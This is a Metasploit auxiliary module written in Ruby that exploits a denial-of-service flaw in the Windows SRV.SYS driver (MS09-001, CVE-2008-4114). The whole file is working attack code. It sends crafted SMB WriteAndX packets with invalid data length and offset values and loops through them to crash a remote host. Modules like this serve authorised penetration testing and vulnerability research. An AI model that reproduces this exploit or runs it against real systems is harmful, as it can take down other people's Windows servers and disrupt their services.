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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SRV.SYS WriteAndX Invalid DataOffset',
'Description' => %q{
This module exploits a denial of service vulnerability in the
SRV.SYS driver of the Windows operating system.
This module has been tested successfully against Windows Vista.
},
'Author' => [ 'j.v.vallejo[at]gmail.com' ],
'License' => MSF_LICENSE,
'References' =>
[
['MSB', 'MS09-001'],
['OSVDB', '48153'],
['CVE', '2008-4114'],
['BID', '31179'],
]
)
)
end
def send_smb_pkt(dlenlow, doffset,fillersize)
connect()
smb_login()
pkt = CONST::SMB_CREATE_PKT.make_struct
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0xc807
pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i
pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i
pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i
pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['WordCount'] = 24
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['AndXOffset'] = 0xdede
pkt['Payload'].v['FileNameLen'] = 14
pkt['Payload'].v['CreateFlags'] = 0x16
pkt['Payload'].v['AccessMask'] = 0x2019f # Maximum Allowed
pkt['Payload'].v['ShareAccess'] = 7
pkt['Payload'].v['CreateOptions'] = 0x400040
pkt['Payload'].v['Impersonation'] = 2
pkt['Payload'].v['Disposition'] = 1
pkt['Payload'].v['Payload'] = "\x00\\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00"
simple.client.smb_send(pkt.to_s)
ack = simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)
pkt = CONST::SMB_WRITE_PKT.make_struct
data_offset = pkt.to_s.length - 4
filler = Rex::Text.rand_text(fillersize)
pkt['Payload']['SMB'].v['Signature1']=0xcccccccc
pkt['Payload']['SMB'].v['Signature2']=0xcccccccc
pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i
pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i
pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i
pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0xc807
pkt['Payload']['SMB'].v['WordCount'] = 14
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['AndXOffset'] = 0xdede
pkt['Payload'].v['FileID'] = ack['Payload'].v['FileID']
pkt['Payload'].v['Offset'] = 0
pkt['Payload'].v['Reserved2'] = -1
pkt['Payload'].v['WriteMode'] = 8
pkt['Payload'].v['Remaining'] = fillersize
pkt['Payload'].v['DataLenHigh'] = 0
pkt['Payload'].v['DataLenLow'] = dlenlow #<==================
pkt['Payload'].v['DataOffset'] = doffset #<====
pkt['Payload'].v['DataOffsetHigh'] = 0xcccccccc #<====
pkt['Payload'].v['ByteCount'] = fillersize #<====
pkt['Payload'].v['Payload'] = filler
simple.client.smb_send(pkt.to_s)
end
def run
print_line("Attempting to crash the remote host...")
k=72
j=0xffff
while j>10000
i=0xffff
while i>10000
begin
print_line("datalenlow=#{i} dataoffset=#{j} fillersize=#{k}")
send_smb_pkt(i,j,k)
rescue
print_line("rescue")
end
i=i-10000
end
j=j-10000
end
end
end